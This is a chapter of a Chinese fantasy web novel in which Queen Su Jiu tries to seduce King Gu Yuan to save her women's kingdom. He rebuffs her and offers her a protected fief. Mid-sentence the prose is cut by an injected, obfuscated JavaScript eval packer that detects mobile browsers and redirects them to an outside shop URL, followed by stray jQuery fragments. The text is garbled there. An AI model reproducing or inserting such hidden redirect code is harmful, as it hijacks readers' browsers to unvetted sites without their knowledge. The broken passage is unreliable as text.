荆越国彻底变成女儿国后,邻近的楼芳国与南安国,甚至北朝三国都对荆越国虎视眈眈。
为了国家,女王选择了与北朝三国合作。她知道那时候北朝的势力在悄悄进入楼芳国,但是他们在进入楼芳国后,却没有下一步的行动,应该是畏惧南朝的报应。这样看来,北朝按兵不动,还是有所顾忌。
女王的主动合作,北朝三国都挺乐意,即便是在荆越国手中得不到什么好处,反正也没什么坏处。她们要的不多,不过借他们的兵力,守护荆越国一片安稳,更何况这容颜倾城的女王送上门,岂能拒之门外。
女王只需吹了吹枕边风,那三位君王都派了一些修士来荆越国。女王不要男修士,只要女修士,而这些女修士也都留在荆越国,教授荆越国的女子学习法术。
在这几百年来,荆越国收留了很多无家可归的女子,给她们户籍与土地,让她们得以安生。她们很少有天赋异禀,多数也只是寻常人,法术会一些皮毛,不过遇见低阶妖兽,自救是没有问题。
苏玖是荆越国第十一代女王,她自知与北朝三国力量悬殊,也与其他女王一样,利用自己的美貌,辗转于三位君王的床榻之间。
不只是她,一些荆越国的女子也会如此。
她们不是自甘堕落,她们只是想保护自己的国家,保护年幼的女孩。
在顾渊说出“朕嫌你脏”时,苏玖哑言了。她脸上的娇媚都仿佛被冻住,眼中的风情顷刻间,烟消云散。
她是脏。
可是……
她也委屈。
两行清泪自她眼角流下,她才反应过来自己哭了。
她很少哭,她觉得自己哭起来很丑,那些男人都喜欢见她笑靥如花的勾人模样。
而哭泣,他们并不喜欢。
所以,苏玖就很少哭了。
可是如今,她忍不住痛哭起来。
其实顾渊也没说什么,只不过实话罢了,而自己在北朝时,传入她耳朵里的那些话比顾渊说的更为难听。
“哎哟,你看看,那就是荆越国的女王,那勾栏做派,恐怕醉虹楼的花魁都自愧不如。”
“什么花魁啊,人家是女王,人家只陪有权的帝王,就是不知道她在床上是什么样?”
“还能什么样?母狗一样呗……哈哈哈……”
“哈哈哈哈……你说的对,母狗一样。”
“……”
那些人的话很难听,苏玖听见后只是冷冷地看着他们,因为她知道,自己不干净,可是那些人更脏。
但是现在……
苏玖看向顾渊。
面前的少年估摸二十多岁,长得帅气,眼睛很亮,从刚才他笑了起来,他脸上一直挂着如阳光般的笑容。
或者说那笑容,比阳光还璀璨。
在他面前,苏玖自残形愧。
他是天边明日,自己只是隐藏在阴暗下的淤泥。
他与她,虽然都是南朝的君王,然后她清楚,他们之间是云泥之别。
苏玖收了脸上的娇媚,眼中的光也黯淡许多。
她转身就要离开,只是她刚一转身,就听见顾渊开口叫住了她。
“女王留步。”
苏玖回头,满脸讶异。
顾渊对她的称呼是“女王”。
除了荆越国的子民,其他那些人称呼她为“女王”时,脸上都带着戏谑地调笑。苏玖知道,他们不是真心称呼自己为“女王”,而那一声“女王”,只是他们自以为的情趣。
而此时顾渊的脸上没有调戏,甚至连之前笑意也淡了。
顾渊神情严峻,这让苏玖想起自己最初来此的目的——谈判。
其实谈判不过是幌子,荆越国与苍南国实力相差太大,她们没有任何优势。
除了美貌。
苏玖以为顾渊同意谈判,是垂涎自己的美色,所以她想利用自己的美貌和摄魂勾引顾渊,让他成为自己裙下臣。
以自己身体为筹码,保护荆越国。
却万万没想到,自己用心勾引,得到的仅仅是四个字——朕嫌你脏。
苏玖在顾渊面前自残形愧,她怕顾渊再次羞辱她,她逃似地想要离开时,顾渊叫住了她。
那声“女王留步”,没有任何侮辱,而顾渊在说这话时,他站起身来,以示对苏玖的绝对尊重。
苏玖有些狐疑,她不解地望向顾渊,嘴唇微颤,想问,又不敢问。
“朕知道女王想问什么,不如女王坐下,我们在慢慢聊。”顾渊做了一个请的手势,邀请苏玖坐下。
苏玖虽疑惑,却还是坐下。
顾渊拿起茶盏,为她倒了一杯茶。
这一举动倒让苏玖不知所措起来,她不敢端起顾渊为她倒的那杯茶。
“苍王陛下是何意,索性直说。”苏玖不像刚才那般娇弱,神情警惕地看着顾渊,声音微颤,语气却带着王者之气。
这是她甚少向人展露的一面,即便她习惯藏了锋芒,她也是一国之君。
“其实女王应该知道,我们之间的谈和本来就不复存在。”顾渊丝毫没有被苏玖的气势震慑住,他说的淡然,但说的每一个字,都有绝对的自信,“强者同意弱者的谈和,总是有所图,而朕又能图你们什么呢?城池?朕唾手可得,美人?朕不稀罕,矿产?你们没有。”
苏玖没有说话,她很清楚,顾渊所说的都是事实。
在不图美色的情况下,她也的确好奇,顾渊到底图什么。
“其实从朕出征开始,朕就没打算对荆越国出手。”
“你要放过我们?”苏玖忍不住问道。
“不。”顾渊微微一笑,“南朝,朕必定统一。”
“那苍王陛下说这些有的没的,是为了扰乱朕的心神吗?”苏玖一向自称是“妾”,既然顾渊今日给了她尊重,她便收下。
“荆越国平定,对女王来说不是坏事。你们不需要在依靠北朝,也不需要向他人出卖色相。”顾渊说,“做自己不好吗?”
“可是做了自己,朕的子民怎么办?自古以来,男尊女卑,盛世,无人知女子才华抱负,乱世,却怪女子红颜祸水。”苏玖笑了起来,她脸上的笑容十分苦涩,“归了苍南国,被你们这些男人统治,您让朕的子民怎么办?她们只是妇孺,她们没有根骨天赋,她们手无缚鸡之力,她们被丈夫打了都还不了手……”
“荆越国平定后,那就是女王的封地,虽然归属于苍南国,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710804|208415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是依旧保留荆越国的国称,甚至女王想换名字也可以。”顾渊说,“几乎与藩王无异,朕不会随意插手女王的抉择。”
苏玖愣住,她有些不敢相信,须臾,她才问道:“陛下的条件是什么?”
“遇见孤苦女子,还请女王收留,许她们一生安稳。”顾渊站起身,双手抱拳,举过头顶,又深深鞠了一躬。
苏玖根本不敢受顾渊这一礼,连忙起身将他扶住,惶恐道:“苍王陛下如此大礼,臣惶恐不安,着实不敢受此礼。”
一声“臣”表明了她的态度,她同意了顾渊的条件,也甘愿将荆越国归属与苍南国。
“女王自然是受得起。”顾渊语气由衷诚恳。
苏玖怔住,她眼睛有些酸了,许久,她喃喃道:“南朝,有救了。”
谈和的事说完了,苏玖好似被人松开了扼住的脖子,她长长地舒了口气。想起自己先前的所作所为,苏玖白皙的脸上染了一层羞愧,她悄悄地看着面前的人。
顾渊端着茶盏正在喝茶,察觉到苏玖在看自己,他忙抬头,苏玖连忙收回了偷看的目光,也端起桌面上的茶盏,小口品着茶。
过了一会儿,苏玖开口道:“当苍王陛下嫌弃臣脏时,臣那时真是羞愧难当。”说到这,苏玖轻笑一声,“现在想来,可能只是陛下的玩笑。”
“不,朕说的是真的。”顾渊放下了手中的茶盏,脸上又是那明媚的笑容,只不过他的话,让苏玖遍体生寒。
苏玖本已经染了绯红的脸颊一下子变白了,她扯了扯嘴角,故作淡然与不在意,眼中却满是委屈。
“话是真的,但是朕没有恶意,因为朕只是阐述事实。”
“往往,事实最伤人。”
“还有一句话,朕没说。”顾渊温声说道,“朕是嫌弃你身子脏,可是你的心比朕干净多了。”
“心?”
“所以,你若是要勾引朕,朕嫌弃你。”顾渊说这话时,语气没有嫌弃,还带着几分孩子气,“若是你与朕谈和,朕会给你最大的利益。朕想守护你的一片净土,因为朕的心已经肮脏不堪。”
苏玖回想起刚才顾渊说嫌自己脏,还有自己靠近时他推开自己的举动,苏玖明白了。
他给她尊重,她却亵渎了他给与她的尊重。
从一开始,苏玖就以为顾渊与那些馋身子的男人一样。苏玖的勾引不是看轻顾渊,而是看轻自己。
顾渊推开她时脸上的厌恶,还有他说的话,他嫌弃不是自己,而是她自己看轻了自己。
“臣,明白了。”苏玖道。
苏玖没有马上回到荆越国,她留在楼芳国住了几天。
这几天顾渊见到的苏玖,不在是那妖艳的女王,而是一个爱护子民的君王。
苏玖还是一袭红衣,不过不是那身留仙裙,而是一身循藩王之礼的华裳礼服,锦绣上的龙纹绣着三爪,立领上的盘扣是白玉珠,头发不在留了一缕在脸颊边上,而是全部束了上去,戴着三爪龙冠。
她现在是藩王,连夜就命人将衣服和发冠上的五爪都改成三爪。
顾渊看见苏玖身上的衣服,微微挑了挑眉,却笑了起来。那袭庄重的华衣似乎很早以前就做好了,只是她从未穿过。